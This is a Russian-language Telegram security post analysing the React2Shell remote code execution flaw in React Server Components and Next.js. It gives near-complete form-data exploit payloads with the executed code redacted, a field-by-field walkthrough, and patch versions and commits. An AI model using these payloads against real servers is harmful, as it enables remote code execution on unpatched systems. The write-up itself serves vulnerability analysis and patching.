Whitehat Lab on Telegram: “⚠️ #web #offense #события #заметки ➡️Что по пово…”

⚠️ #web #offense #события #заметки

➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)?

Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;

🐇 Проблема

Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;

С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function] — глобальный конструктор;

Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);

Соответственно, можем сформировать специальный объект, где then указывал бы на Function.

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

🐇 Эксплуатация

0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок;

1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;

2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка;

3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj);

4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;

5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️

🐇 Полезная нагрузка

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"███████████████████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Разбирая полезную нагрузку по пунктам:

▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();

▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;

▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;

▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);

▪️"_prefix"
➡️ здесь произвольный код для выполнения;

▪️"_formData"
➡️ здесь указываем на конструктор;

🐇 Патч

CVE-2025-55182

Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1

Починили тут: facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

CVE-2025-66478

Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях

Починили тут: vercel/next.js/commit/6ef90ef49fd32171150b6f81d14708aa54cd07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478

⬜➖⬜➖⬜➖

Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:

🧩 msanft/CVE-2025-55182

🧩 maple3142/48bc9393f45e068cf8c90ab865c0f5f3

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"█████████████;","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

➡️Stay safe!

@HaHacking 🐇